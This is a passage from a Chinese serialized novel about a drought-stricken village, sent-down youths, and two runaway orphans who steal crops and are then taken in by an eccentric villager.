“哪有，别胡说！”张强恼羞成怒，他才没有，而且他爹娘说了，要是敢在乡下结婚，就打断他的腿。 本身报名下乡就是凭借着一腔热血，自己私下报名的，爹娘被气个半死，再偷偷结婚，恐怕以后回城，连家里大门都进不去。 留下的那个女孩子叫陈梦，干活真是一把好手，比他们这几个下乡有几年的还要厉害。 村里的红薯苗需要从井里担水去浇，他们几个男生挑水都费老大劲儿，陈梦一个人挑两担水健步如飞。 “你看，新来这女娃干活可厉害了！”陈显英示意老楚媳妇儿抬头看。 面前的女孩瘦弱的肩膀担这两桶水，田坎起伏不平，导致她的脚步也一上一下，但桶里的水却一滴不漏。 老楚媳妇赞叹道：“嗬！还真是个干活的好手！” 土生土长的农村娃娃都不一定有这么厉害，也就他们这些干了几十年农活的人能做到这么熟练。 老楚媳妇心思微动：“我娘家有个侄子，还没结婚呢，你说……” 陈显英只觉得好笑：“想什么呢你，人家是大城市来的，咋能看上我们农村娃娃？” “你家绍华不也是农村娃，人家明月不也一样嫁了吗？”老楚媳妇不死心，甚至拿出钟明月的例子来说服陈显英。 陈显英扶额：“那能一样吗？明月要不是爹没了，家里遭了难，我家绍华八辈子也配不上人家！” 老楚媳妇反驳道：“怎么不一样了？他们来下乡，不就是一种缘分吗？” “我说不过你，不跟你说了”脑子不清醒的人，旁人再怎么提醒也不会醒悟的。 陈梦每天干完地里的活，还会跟孩子们一起去到处挖野菜，捡干掉的榆树皮存起来。 她不爱说话，只是一味的干活。 其他知青偶尔会收到家里寄来的信，陈梦来了一个月，一次也没收到过。 “姐姐，你是哪里人啊？”钟莹莹闲着没事过来打探情报。 “我是江省的。”陈梦一边拔草一边回话。 水少，地里有草会和庄稼争水分，以前可以慢慢拔，现在他们只想尽快清理了。 “江省也要种地吗？你干活好厉害呢，我们村的婶子大娘有些还比不过你！”钟莹莹说的是实话。 “哪里都得干活。”陈梦闷声道。 钟莹莹敏锐的察觉到这里面有故事，貌似戳到人家伤疤了，连忙转移话题：“这边好多马齿苋，陈梦姐，咱俩摘了一人分一半！” 地里不止有杂草，还有野菜，马齿苋就是最为常见的一种。 不管是焯水晒干了冬天包包子，还是直接煮一下，凉拌吃，都很好吃。 陈梦对能入口的东西是来者不拒的，不管是什么，只要能填饱肚子，她都想卷了，拿回知青院，放到自己的那个小床下。 陈梦待在钟家岗融入的很快，走掉的那俩人就没那么好运了。 第55章 “呕～～～呕～～～” 王岳扶着墙狂吐，简直不敢回忆刚刚看到的画面。 那小孩拉了屎，他娘直接喊他家狗来吃，狗吃了屎又去舔小孩屁股。 “yue～”越想王岳吐的越厉害。 “朱志鑫，咱们跑吧，这里简直不是人待的地方！”王岳说这话的时候，唇边还沾了一些呕吐物。 耳边萦绕着的苍蝇，嗡嗡转了几圈，盯上了他的嘴巴，直接趴上去大吃特吃。 朱志鑫撞见也忍不住大吐特吐。 怎么会有这样的鬼地方啊，堆肥的屎就这么露天放着，到处都是苍蝇，苍蝇爬完屎再落到人身上，落到碗碟里…… “yue～”朱志鑫的胆汁都要被吐出来了。 “不……不能跑！我们去县里，让他们给我们调……调回钟家岗……”没有介绍信乱跑就是盲流，会被抓起来遣送回原籍的。 “行，那你去收拾一下，我们现在就走，yue～”王岳边说边呕，怎么着都行，这地方，他是一分一秒也待不下去了。 原先以为钟家岗条件已经够差了，没想到其他村子不光环境差，还不讲卫生。 整整三天啊，苍蝇都快把他给吃了，天知道他俩是怎么过来的。 王岳家里有关系，所以去县里又折腾一趟要换位置，也没人难为他俩。 朱志鑫也顾不上嫉妒了，此刻他只觉得庆幸，要是没王岳，他真待在苍蝇窝里爬不出来，还不如死了算了呢！ “什么，那俩人又回来了？”钟莹莹瞪大双眼，还能这样玩的？朝令夕改？ “县里送过来的，村长不愿意收，那书记说了好久的好话。”楚秀秀听了个全程，那几个人进知青院里，她听不着了，就过来找钟莹莹分享八卦了。 有后台啊，那就不奇怪了，关系户干啥都有合理的解释。 比如之前的火彩哥，就是光明正大的欺压老百姓，要不是被抓到贪污犯罪的证据，还能够一直逍遥法外呢。 这俩人的后台也不知道多大，钟莹莹祈祷，希望人这次回来能老老实实的干活，不要作妖。 下午干活的时候，钟莹莹就见着他俩了。 比之之前的桀骜不驯，现在俩人老实不少。 沟里没水，田边的水渠里自然也没有。 浇地需要先从水井打水，再挑到地头。 王岳挑了一担子就被村长赶去拔草了，一桶水从井边到地头，能洒一半，现在水那么宝贵，可不给村长心疼坏了。 朱志鑫干活比王岳好点，也没好到哪里去。 俩人都被剥夺挑水的自由，通通被送去拔草了。 “你拔的这个是野菜，能吃，可以放到篮子里，带回去。”李莉莉见王岳不管拔了啥，都是随便往边上一丢，还是没忍住提醒了两句。 王岳不甚在意：“不是吃食堂吗？要野菜干嘛？” 他搁‘苍蝇村’也没吃过野菜，怎的到个条件好点的，还吃上野菜了？ “食堂没粮食，一天只供一顿中午饭了。”要不是上面要求必须要有大食堂，村长都想将食堂原地解散。 王岳大为震惊：“什么？” “只供一顿饭，那我们早上晚上吃什么？”朱志鑫也无法理解。 “早晚都在自己家吃，或者不吃。”好多人晚上都是不吃的，早上在家也是对付一口。 他们这些知青回去也是胡乱煮些野菜汤喝，地里粮食不知道啥情况，哪里敢多吃？ 也是他们幸运，之前炼钢交铁时，大家都是拿废铁充数的，知青院吴老婆子留下的锅还在，不然连个煮饭锅都没得，更加悲催。 干一下午活，不给饭吃，王岳又有点想跑路了。 朱志鑫拍拍他的肩膀：“你想想苍蝇！” “yue～”王岳干呕一声，彻底断了再换一个地方的念想。 换回来的时候县委书记就说了，其他村子和他们待的那个‘苍蝇’村情况差不多，都是卫生堪忧，只有钟家岗，路也修了，家家户户都有厕所，虽然都是旱厕，但也没人会露天拉屎。 比起天天吃‘苍蝇饭’，自己煮野菜汤也没那么难熬了。 王岳把之前他丢掉的马齿苋给捡回来，放到篮子里放好，自己挖的，可不能便宜了别人。 钟莹莹跟着楚秀秀也在地里做活，大人满公分十个公分，小孩子做的好的，六个公分。 其实现在计算公分也没啥大用，都统一吃大锅饭，按照这个光景，年底不亏空算好的，哪里会有节余分发出来。 地里的红薯叶被太阳晒的打了卷，傍晚水一浇，又展开叶片，绿油油一片，看上去很是喜人。 高粱也挺直了小小的枝干，忽略缺水的事实，其实这一批庄稼长得算好的了。 村长私下问老万有没有法子祈雨，直接遭到拒绝。 老万不是傻子，村里没外人时，他搞点神叨叨的东西还行，现在住了一院子的外来人口，有一个想整他，他都好不了。 再说他也没那么大能耐，呼风唤雨。 钟家晚上吃的是菜饭，就是把米煮熟后，加入各种青菜，放盐，搅和匀了，直接吃就成，菜多米少，混个水饱，不吃晚上饿的烧心，也睡不着。 家里地窖的粮食囤了不少，正常地里没收获，也够他们一家人吃个一年多了。 陈显英还是想着省着点吃，晚上不干活，吃多了也没用，早上再吃好点。 至于中午那顿，在食堂也吃不到多好的东西，分餐制，归咎下来还是各吃各的，不能吃很好，太扎眼了。 钟莹莹嘴里扒着饭，含糊不清道：“爹，你记得提醒叔巡逻，有人偷东西呢！” 不是她危言耸听，真有人偷地里的作物。 大锅饭吃久了，人变得也懒惰了，没心思种地，又不想饿肚子，可不就出来偷东西了。 钟伟先沉吟片刻：“确实该安排人巡逻。”村里人闲着也是闲着，巡逻又不费人，每家轮着来，一个月一家也就两天，加上知青那边，妥妥的。 钟绍华忍俊不禁：“莹莹你挺聪明啊！” “那是，我考试都考第一名呐！”钟莹莹自豪的很，一点没有成年人和中学生比较的心虚，要的就是碾压的爽感。 事关地里的作物，钟伟先吃完饭就去找村长了。 钟莹莹没事干，回到屋子里插上门，扒拉自己放在屋里的存货。 她有两个枣木做的大箱子，一个箱子用来装衣服，另一个用来装她的零食囤货。 这枣木箱子是她这辈子奶奶的陪嫁，很结实耐用，上面还有两把小锁，东西放里面，锁一锁，谁也别想看见里面装了啥。 一包水果硬糖，两包海市寄来的肉干，一陶罐的干薄荷叶，半包干红枣，一兜鸡蛋糕，这些就是钟莹莹的全部存货。 粮食陈显英都给用麻袋装好塞床底下，又拿破筐烂箱子仔细堵好了。 空间里钟莹莹也放了不少粮食，钱是她平时攒下来的，票是宋茹给的，还有一部分是和城里同学换的。 宋茹每次给她寄东西，都会寄很多，其中一些来自海市的新鲜货，尤为受到同学们喜爱，有些宁愿少吃几顿饭，也要和钟莹莹换。 能囤东西，钟莹莹哪里有不愿意。 她没事还在学校给同学补补课，帮助他们学习，换来的是他们有余下的粮食，会分给她一点。 她在学校造谣，说村里没吃的了，楚秀秀也跟着胡闹，帮同学做事情，换点口粮。 钟家岗的名声都被她俩破坏了 钟莹莹知道有黑市，但她胆子小，不敢去啊！ 小富即安的思维，让她不敢去冒险。 胡乱抓了一把薄荷叶，放到碗里碾碎，钟莹莹去到灶房，舀了一瓢锅里的开水，直接将薄荷浸入水中，然后又端起院中的一盆水，把薄荷水倒进盆中，和盆里的水混匀。 院里的水就是晒来洗澡的。往盆子里放水，晒一中午，傍晚的时候拿来洗澡，温度刚刚好，还能省柴火。 钟莹莹脱下衣服，一点点用毛巾蘸着薄荷水擦身体。 将全身的汗液都清理干净，钟莹莹喟叹：“舒服！” 天热，搞点薄荷擦澡，透心凉，心飞扬。 薄荷味道刺激，还能预防蚊虫叮咬。 可惜不能泡澡，只能简单擦一擦。 井水水位线下降，打水不易，不能浪费。 明天干完活还得和小伙伴们继续探索地图，看看有没有能吃的东西，给弄回家存着，今天她可得早点睡。 屋里她娘给她用艾草熏过了，没有蚊子，往凉席上一趟，摇着蒲扇，钟莹莹没几下就给自己扇睡着了。 睡梦中，就听见有人喊，抓小偷了，实在太困了，她就没起来，昏昏沉沉又睡了过去。 “娘，昨天晚上我好像听见有人说话了，是我在做梦吗！”第二天醒来，钟莹莹还以为昨晚是在做梦。 陈显英笑道：“不是做梦，村里昨晚真抓到小偷了，还是新来的那俩知青抓到的。” 钟莹莹不敢置信，变化那么大的吗？直接从狗眼看人低的势利眼，变成了能抓小偷的厉害人物。话说回来，地里红薯都没长成呢，那些人就来偷，真是没有功德心。 她推荐巡逻也是怕后期结果的时候，有人搞破坏，没想到当天就派上用场了。 第56章 一个十一二岁的小孩，被王岳死死的压在身下，地上是一片被压倒的红薯苗，边上还散落着几根黄瓜和洋柿子。 青壮年对上瘦骨嶙峋，看上去好像是王岳在欺负人。 第二天早上，钟莹莹才见着那个小偷。 身上的衣服都烂成一条一条的了，被关在牛棚里，还一脸倔强不服气。 “这就是那小偷啊！”楚秀秀偷瞄了一眼，心想他看起来不像是小偷，更像是个小乞丐。 村长正在发愁，这孩子该怎么处理。 他偷的东西不多，也没破坏村里的庄稼地。 应当是来偷好几回了，之前村里就有人丢辣椒茄子的，数量不多，他们也没多在意，以为是哪个邻居临时摘了去吃。 送去公安局吧，现在严打，对小偷小摸罚的也重得很，一个小娃娃，蹲篱笆子一辈子就毁了。 把人放了？万一再来他们村偷东西怎么半？村长是进退两难。 没等他想出个章程来，老楚媳妇过来喊：“村长，村口又来个小女孩，说是找她哥的！” 小女孩？找人？ 村长忙跟着去了村口，在牛棚前面看热闹的众人也跟着过去。 “我找我哥，他昨个晚上来你们这拿东西，一晚上都没回去！”一个小丫头，才五六岁大。身上的破衣服和牛棚里关着的那个如出一辙。 脸上脏的压根看不清长啥样。 “你哥是不是这么高，头发这么长。”村长用手大概比划了一个到他胸口那么高的高度，至于头发，指了指身边站着的老楚媳妇。 “对，那是我哥。”小女孩露出喜悦的神色。 “好哇，都找上门来了，你哥是小偷，你就是小小偷，我今天要把你们都送公安局去！”王岳满脸狞笑，桀桀桀的朝小女孩伸出魔爪。 昨天抓了个小偷，今天又抓了个小偷同伙，他可真厉害，刚住到钟家岗第二天，就能立那么大的功，那他回城应该不远了吧？ 小女孩被吓到了，眼泪顺着脸颊往下流，脸上的泥痕被冲刷的一道道的，却还是瑟缩着反驳：“我哥才不是小偷，你才是小偷。” 钟莹莹看着她这么笃定，还在想是不是真有什么隐情。 “你哥不是小偷，那干嘛来我们村偷东西？”钟新澄躲在钟莹莹身后，探出一颗小脑袋来。 “对啊，你哥是大小偷，你就是小小偷！”王岳说着就要伸手去抓她。 “别碰我妹妹！”一声大吼从王岳背后传来，接着他‘哎呦～’惊叫一声，被一颗炮弹一样的玩意给撞倒在地。 “什么东西？我的老腰啊！朱志鑫你是死人啊，还不快过来扶我！”受到重创的王岳揉着腰坐在地上，还不忘朝着无事人一样的朱志鑫发火。 朱志鑫皱着眉，又想起王岳的背景，最后还是咬牙把人扶起，扶着他靠在自己身上。 钟莹莹看清了那个‘炮弹’的模样，不是方才被关在牛棚里的偷儿是谁？ 此刻他像个小狼崽子一样，一脸防备的把小女孩护在身后，也不知道是怎么逃出来的。 黄大花盯着他看了许久，忽然一拍大腿：“哎呀，你俩是不是何家的娃娃？” 小狼崽子瞅了黄大花好几眼，像是辨认出她是谁了，最终不情不愿的喊：“大娘。” 她就说怎么看这两个那么眼熟，这不是她原来住的黄家岗村里的孩子嘛！ 要说这俩孩子也是命苦，娘死的早，爹也得了肺痨病，她跟儿子随军那一年，何小柱子好像就没了。 俩孩子这几年也不知道咋过来的，看这穿着打扮，就不像是过得好的样子。 “强先啊，让他们都散了吧，是自己人，我来问问咋回事。”一大群人啥活也不干*，围在这里像什么样子。 王岳不乐意了：“不行，不能散，他们是小偷，得抓了送公安局。” 这都是他的业绩啊，散了他找谁去。 朱志鑫扯扯他的手：“别嚷嚷了，你看不出来吗？他们都是一伙的，我们才是外人。” 王岳气不过，还想继续闹。 村长站出来打圆场：“这孩子黄家岗的，我认识，老熟人了，找他父母过来赔了东西就行，孩子还小，给他们一次改过的机会，下次再犯，一定给他们送公安局去。” 他认识个鬼啊，去黄家岗要过河，除了娶媳妇那年，他到河对岸去的次数，屈指可数。 小狼崽子做了个鬼脸：“我娘死了，爹也死了。”找他们赔东西，下辈子吧。 村长有些尴尬：“那啥，我太久没去黄家岗了，小问题，小问题哈～” 黄大花扯过小狼崽子，去边上问：“你俩咋回事？怎么跑到钟家岗来偷东西？黄家岗没吃的了吗？” 都吃大锅饭了，即使吃不饱了，也不至于跨河偷东西吃啊。 “爹死了，我家房子被大伯占了，大伯要把我卖给王瞎子家当童养媳，哥哥就带着我跑了。”小狼崽子还没说话，他妹妹就出来解释了。 “哎呀～这遭瘟的何大柱！”黄大花气的直拍大腿，何小柱就留下这么俩孩子，何大柱把人房子占了不说，还要把人闺女给卖了，真不要脸啊。 王瞎子那一家都不是啥好东西，生了七八个女儿，全部丢河里淹死了。 最后得了个儿子，生下来看起来蛮好，等到大一些，会走路了，一下子就看出不正常来。 家里的小鸡小鸭好好的，他抓起就往嘴里塞，一开始没牙，大家都当他是耍着玩，等他长牙后，摸到啥活物，通通要给弄死，用牙齿扯的稀巴烂，脸上沾得全是血。 没有孩子愿意靠近他，王瞎子整天还乐呵呵的说他儿子有血性，长大一定是个厉害人物。 俩孩子身上脏成这个样子，不像是刚溜出来，应当是跑出来很久了。 黄大花给钟强先解释了一下俩孩子家里的事，一脸犯难道：“强先啊，你说这咋办啊？” 给孩子送回去，那就是死路一条，留着吧，村里粮食也不多，总不能白养两个孩子。 钟莹莹听得心惊胆颤的，好家伙，原来上辈子钟新澄那样的，都算是好的了，这种才算是真坏吧！茹毛饮血！毫无理性、毫无道理的恶！ 她捏捏钟新澄的脸，突然感到有些庆幸，要是钟新澄小时候是王瞎子家里的那个样子，估计活不过几天，就会被她大义灭亲。 “这俩孩子给我吧！” 老万冷不丁的接了一句。 黄大花吓了一大跳。 回过神来，觉得这不失为一个好主意。 老万没老婆，也没孩子，家里只有他一个人，收了这俩孩子，以后还能给他养老。 就是不知道，这人半辈子不愿意娶媳妇生孩子，给爹娘都气死了，怎么会动心思想收养这俩孩子。 黄大花用怀疑的眼神看着老万，想要看清他葫芦里卖的是什么药。 “这俩孩子克亲，和我挺合适的。”老万说的很小声，除了村长和黄大花，没别人听见。 黄大花手一抖，立马放开了牵着小女孩的手。 三人也不知道去一旁谈了什么，只知道谈完后，黄大花去劝俩孩子，然后俩孩子都跟老万走了。 “英婶，你看能不能行你帮个忙。”老万掏出几件旧衣服来。 “这衣服原先我爹娘的，你看能不能帮忙给改一下，拿给俩孩子穿。”这年头没那么讲究，有衣服穿就不错了，那管它是什么人穿过的。 老万自己不会做衣服，不然也不用请陈显英帮忙。 陈显英摆摆手道：“那么客气干什么，两件衣服而已，随手就改了。” 改衣服需要将两个孩子过来量一下尺寸，俩孩子来的时候，钟莹莹正吃饭呢。 泥巴糊的俩人让陈显英有种无从下手的感觉。 看着男孩那一头乱七八糟的长发，陈显英鸡皮疙瘩都起来了，也不知道里面有没有虱子跳蚤，她忍不了了：“明月，你帮我把剪子拿来。” “好的，娘。” 钟明月把剪刀从装针线碎布头的竹篮子里拿出来，递给陈显英，就见她过去扒拉了一下男孩的头发，见里面果然有小生物在爬，立马按住男孩，咔擦几剪刀就把他头上的头发剪了。 男孩身上有虫子，女孩指定有跑不了。 要去给女孩剪头发的时候，男孩警惕的把妹妹护在身后：“你要干什么？” “给你妹妹剪头发，你头上有虱子，她肯定也有，不剪掉把虫子杀死，天天搁头上吸你俩血，会变傻子的！”陈显英在故意吓唬他。 男孩这才把妹妹松开，见陈显英剪她头发，还是紧张的把手心都攥出汗来。 陈显英把他俩都剪成了光头，剪下来的头发直接点火烧了个一干二净，虱子会传染，随便乱丢，传染给别人不是造孽了嘛！ “行了，你俩回去让老万给弄点水，洗个澡，一会儿我把衣服给你们送去。”这家伙，身上的皴都厚的像墙皮一样了。 钟新澄盯着俩光头，乐的直笑：“大光头、小光头、大乞丐、小乞丐！” 男孩恶狠狠瞪钟新澄一眼，钟新澄害怕，躲到钟莹莹身后，他又去瞪钟莹莹。 钟莹莹有些无语，她招谁惹谁了？ 算了，人都这么可怜了，她就不跟他一般计较了。 第57章 第二天一大早。 钟新澄扒着墙头，咧着个大牙：“喂～傻缺！” 他对面的男孩默不作声的干活，女孩气哄哄道：“你才傻缺！” “木木，别惹事。”钟莹莹死亡视线扫视。 钟新澄老实了，慌忙从鸡圈边上垒的砖头上跳下来：“姑姑，我没惹事。” 黄家岗那边来人，钟强先一开始以为是来找兄妹俩的，后来发现哪是啊！是来问他要不要一起去申请救济粮的。 至于流落在外的兄妹俩，无人在意。 那个大伯一家巴不得他俩消失呢，消失了霸占房子就名正言顺，也不用担心男孩长大了把房子抢回去。 “你们真不去申请啊？”黄家岗的村长不敢置信。 钟强先打哈哈道：“这么多人去，能轮到咱们吗？我们等等再去！” “那我去问问吴家村的。”黄家岗的村长其实心里有些不好意思，之前粮食产量报那么高，这才过去多久，就去申请救济粮，这不是自己打自己脸嘛！ 可谁让他也没办法呢，村里人吃得多，之前收的粮又全交公粮了，去年剩下的粮吃的是一点也不剩了，再没粮食，大家都要喝西北风了。 钟强先敷衍道：“行，你去吧，要是真的能要来粮，别忘了和我说一声啊！” 一大波人涌去镇上，再去县里，那不是找骂呢吗！他才不去触这个霉头。 再者他们真是熬不下去了才去要粮的吗？都是灾荒年过来的，钟强先不信他们真的是每家每户都把粮全部交给食堂了。 都想着占便宜呢，也不看看这个便宜能不能讨到。 钟家岗家家户户都藏了粮，即使这一季没收成，他们也能撑的过去。 钟家岗人都学聪明啦，好处落到手里才叫好处，只拿个名声，这不，吃到苦头了吧！ 钟强先没有放松警惕，有粮归有粮，生产也是要跟上的。早上吃完饭，他就敲锣打鼓的喊大家干活。 小孩子拔草抓虫，大人则被喊过去挖井去了。 现有的水井水位线严重下降，再这么下去别说浇地了，村民们的日常生活用水都成问题。 钟强先和钟伟先商量了一下，找了专业打井的过来再凿两口井。 按照钟家岗的地里位置，找水源应当是很简单的活计。 “怎么样？找到了吗？”钟伟先一回到家，陈显英就迎了上去。 “唉～哪能啊，挖了两处都没冒水！”以前钟家岗往下挖个两三米就能有水的，现在挖了五六米，没见水的踪迹，也就泥土比表层土略微湿润了些。 “爹，我记着大塘南边不是有个废井吗？那个再通一通还能用不？”钟绍华想起钟家岗大鱼塘里的旧井。 因为位置原因，当年挖鱼塘的时候，被归到了鱼塘里，大多数时间在水下，也就被废弃了。 现在鱼塘都干涸了，其他位置打井深度不够又不出水，大塘那个井本来位置就比其他位置低很多，又一直在水下，应当能出水的吧！ “绍华说的有道理，你跟强先过去看看吧！”陈显英迫不及待的把人推了出去。 打井的事迫在眉睫，一刻也耽误不得。 钟莹莹也知道那口废井，前世还差点淹死过人嘞，她发小夏天的时候调皮，偷完西瓜吃，去塘里洗手，正好掉到那个位置，怎么爬也爬不上来。 幸亏他弟弟在边上，那孩子是个机灵的，没有下水捞哥哥，哭着跑去喊大人，那个发小被捞上来的时候，嘴唇都青紫了。 被大人倒着拎起来甩水，哇哇吐了一地，救护车拉走后有大半年没见着他。 能把人淹成那样，指定水没枯竭。 果然，钟强先再回来时，脸上就带了几分喜色：“孩他娘，真叫孩子说对了，那废井往下清清淤泥，真有水啊！” 不止有水，水还比岸上井里的水多多了。 “有水就好，有水就好啊！”陈显英激动的热泪盈眶。 她是经历过苦日子的，那些痛苦的记忆，她已经不想再去回忆。 钟伟先也很感慨：“是啊，有水就好啊！”有水庄稼就能继续长，他们就能混口饭吃。 红薯和高粱得到井水充分的滋润，发育的越发枝繁叶茂，比之其他村地里枯黄瘦小的作物，简直是一枝独秀。 有经过钟家岗的，都要赞叹一声，钟家岗的地种的是真好。 钟莹莹在帮着村里的妇女摘菜洗菜，然后铺到竹篾上晾干水分。 钟家岗这一季的咸菜已经不打算对外出售了，不划算，往外卖的价格顶不上他们去外面买东西的价格，还不如留在自己吃。 咸菜厂当初办的手续齐全，采买盐和腌制用的香料都能拿到批条，不然按照现在食盐都要管制的规矩，在村里搞腌菜，连盐都拿不到。 “听说吴家村死人了？” “可不是吗！除了咱们村，其他村的老人今年夏天走了老些个！” “今年确实太热了些！” 一大娘神秘道：“有一个好像是偷着埋地里了，结果第二天就被人上门给挖出来拉走烧了！” 钟莹莹也附耳过去。 “嗐！那可真缺德啊！” “那谁说不是呢！好好的人都埋下地了，给人挖出来，不是损阴德是什么！”最后那句话她们是压低了声音说的。 这年头不让宣扬封建迷信，但是乡下人多少信点这个。 “别说了，等下小心被人听到举报你们！”陈显英出来制止。 “英婶，咱们都是自己人，谁不知道谁啊！哪里会有人举报？”话是这么说，众人还是不约而同转移了话题。 “孩子，老万给你俩改姓了吗？”没东西可说，几个八卦的妇女又把视线转移到了黄家岗的那俩孩子身上。 “没有，爹说我和哥哥不改姓。”女孩叫何梦婷，男孩叫何止尧，还是以前在黄家岗的姓名。 老楚媳妇纳闷了：“那老万图啥啊？”留俩娃子不该姓，叫什么传宗接代。 其他人也奇怪的很，不过一想到老万，那一向就不是个正常人，自个爹娘都能给气死，做出这样的事来，也不奇怪了。 “你几岁了？”村长媳妇看她长得可爱，还伶牙俐齿的，忍不住逗她。 “我七岁了，哥哥十三岁了！”何梦婷奶声奶气答道。 钟莹莹有些讶异，转头看向何止尧，看着不像啊，还没自己高呢！ 老楚媳妇随口一问：“你俩上学了没有？” 小丫头被戳到伤心处，不吱声了。 人群之中是突如其来的一阵沉默。 陈显英安慰道：“没上学也没关系，回头让老万去学校给你们报名去！” 听到这话，何止尧眼神中流露出巨大的惊喜，他和妹妹真的可以去上学吗？ “学校又不收学费，不去上那不是傻了吗！” “就是就是，钟家岗的孩子都要送去上学的！” “谢谢你们！”何止尧的声音有些哽咽。 他娘还活着的时候，他爹有想过送他上学，可他娘没了，接着他爹也一病不起，他再也不敢提上学的事情了。 众人面面相觑，暗道，这俩也是可怜孩子啊，何止尧比莹莹还大几岁呢，结果还没莹莹个子高，矮坨坨的。 何梦婷也比钟新澄要大，瞅钟家那个，身上的肉扎实的很。 要是丽丽在家，这兄妹俩，连钟家长得比较瘦弱的丽丽都比不过。 知道能去上学，何止尧干活干的越发卖力。 腌菜坛子不用大人喊，他自己就去给抱过来了，就连那大缸，他都兴奋的想较一较劲。 去完镇上又去县里的黄村长，被人好一顿骂，耷拉个脸回来了。 “强先，你是不是早知道要挨骂才不跟我一块去的！”黄村长的脸皱成一张苦瓜脸。 钟强先哪里能承认：“谁说的，我们村事比较多，我想晚点再去。” 黄村长看着忙碌的钟家岗人，信了，然后又看向钟家岗地里的庄稼：“强先，你们地里庄稼咋长那么好啊？我们的都快干成柴火，一点就着了！” 钟强先腹诽，能不干嘛！浇水两天打渔三天晒网的，自己村可是每天都要人工浇水的。 “嗐～我们村找人来又打了井，一点点挑水浇的，一天天的累死个人！” 钟强先试着说：“挖了好几个地方才找到水，你们村地势低点，还在坝子边上，应当比我们好挖些，要不然让他们也去给你们打个井？” 黄村长有些心动，却还是嘴硬道：“我们村哪有钱打井啊，好不容易有个出息的，当兵了，还被你们钟家岗给挖来当上门女婿了！” 对于黄大花一家搬家，他是心存怨念的，一块在黄家岗住了那么久了，结果她一家倒是不声不响脱离苦海，直接上岸了。 村里人呢，还在那过苦日子呢！ “我那丈母娘腿脚不行，不还是想着给她接过来，方便照顾着些嘛！”钟强先解释道。 “一会就吃饭了，食堂做了饭，你看要不你中午在这吃？” “那哪能啊？大家都不容易，怎么能白吃你们粮食，我看我还是回家去吧！”黄村长不是死皮赖脸的人。 食堂的饭都是有定量的，自家村里的吃了没事，外村人，那就比较尴尬了，他不好随随便便吃人家的饭。 他跟钟强先道别后，就跟着黄家岗的其他人走了。 走时看见何止尧两兄妹也没说什么，自己村的人容不下他们，他这个当村长的总不能拦着他们奔活路去。 打井一事，终是让他记挂在心上。 第58章 燥热的天气不同寻常，往常悠长的蝉鸣也消失不见。 田地裂开一条条裂缝，唯有钟家岗人仍旧勤勤恳恳的挑水，浇水，种地。 黄家岗那两兄妹最近奇怪的很，莫名其妙对钟家几个孩子献殷勤，连调皮捣蛋的钟新澄也没放过。 在何止尧又一次的帮钟莹莹归拢起地上的草，装进背篓，送到钟家喂鸡时，钟莹莹忍不住了，她试探着问：“何止尧，你是有什么事要说吗？” 无事献殷勤，钟莹莹不相信会有无缘无故的好。 男生仍旧头也不抬的干活：“没有！” 钟新澄不客气道：“那你干嘛一直帮我们干活？” 他姑姑最近都没地方使唤他，这坏人该不会想占自己位置吧？ 有个丽丽就够烦了，天杀的，怎么又来一个！ “我、我、我……我想跟你们一块学习。”钟莹莹每天都会抓着钟新澄和丽丽写暑假作业。 钟家每到下午一整个鸡飞狗跳。 何止尧看在眼里，却羡慕在心里。 他是个文盲，他妹妹也是文盲，陈显英给老万说了，等开学送他俩去镇上上学。 何止尧有些迫不及待。 但想到自己的年龄，比钟莹莹大还要去读小学一年级，他有些自卑。 他想早点开始学习，等到去学校，不落在后面。 钟新澄欠儿噔的绕着何止尧转了一圈，像是在看什么稀罕物一样：“天呐，竟然还有人想自讨苦吃！” 要不是他姑姑每天抓着他学，他早就出去玩了。 “木木！”这熊孩子，一天不挨揍都皮痒。 钟莹莹教训完钟新澄后，转过身来对何止尧道：“你可能不知道，我们村的知青一直有开学习班的，大家都可以过去听课，之前我们扫盲都是在那边的。” “这阵子比较热，活也多，他们就没上课，等过几天闲了凉快点就好了。” 钟莹莹解释的很明白了，可何止尧还是想为自己争取一下：“我想早一点开始学～” 面前的人穿着大人衣服改版的短袖短裤，没穿鞋，漆黑的脚丫子就这么踩在炽热的泥土上，头发被囫囵剃了个光头，裸露在外的肢体只有皮包着骨头，干瘦的像竹竿。 瘦削的脸上却长着一双大眼睛，黑黝黝的眼珠子眨也不眨的盯着钟莹莹。 “姑姑，他想学，你就让他跟我一起学好不好嘛！”钟新澄想找个人来吸引火力，这样他姑姑就不会太关注他的成绩了。 丽丽那个不靠谱的，天天姑姑一说她就老实学习了，衬托的自己很不乖，这来个文盲，一对比，姑姑就知道自己的好了，以后就不会挨揍了！ “我不白学，我可以帮你们干活的！”何止尧知道自己的行为是在占便宜，可是已经见过光明，他又怎能再忍受黑暗。 何止尧想的很简单。 识字就好了，识字他就能看懂报纸，以后能找到工作，养活自己和妹妹。 钟莹莹还没回应，一道怒吼突然从背后传来：“何止尧！” 眼前的人像是见了鬼一样，脸色刹那间变得惨白。 “长本事了啊，说跑就跑，嘁～有本事跑远点别让人看见呀！”一个钟莹莹未曾见过的陌生中年男人冷嘲热讽道。 “你妹妹呢，走，带我找她去！”说着，那男人就要去扯何止尧的胳膊。 提到何梦婷，何止尧犹如大梦初醒般猛的挣脱男人的桎梏，怒吼道：“我不去，你又想干什么！” “我是你大伯，我能干什么？”男人气不打一处来。 钟莹莹在俩人发生争吵的时候就让钟新澄喊黄大花去了。 黄家岗的事还是得黄家岗的人解决。 “何大柱！”黄大花来的很快。 “花姐。”何大柱面露尴尬。 黄大花走的急，此刻有些气喘吁吁：“哟～还知道我是你姐呢！” 何大柱：“花姐你这说的什么话！” “我说的什么话？你干的就是人事了？别以为我不知道你想干什么！”黄大花瞧不起何大柱这样的人，为了一丁点利益，什么事都做得出。 何大柱弱弱道：“姐，我也是为了两个孩子好，他俩就这么赖在钟家岗，天天吃人家粮食，不好～” “为他们好？为他们好你要把梦婷卖给王麻子儿子当童养媳？”黄大花气不打一处来。 何大柱还想狡辩：“花姐，那是孩子乱说的，我是他俩亲大伯，怎么会做那样的事！” “你什么样我不知道，但这俩孩子你不能带走。”真让他把俩孩子带回去，绝对落不到好。 何大柱不装了，丑恶嘴脸原形毕露：“花姐，这事不是你说了算，我是孩子大伯，他俩爹娘都没了，他们的事就是我说了算！” 要不是家里急用钱，谁愿意带这俩丧门星回去啊！ “你把他们带回去得先还钱，他俩偷了我们钟家岗的东西，还偷好多天！”钟莹莹幽魂一样提醒。 黄大花也想起这件事，跟着道：“没错，这俩孩子之前在外面，一直偷的钟家岗的东西才活下来，你想把人带走，得先赔钱！” 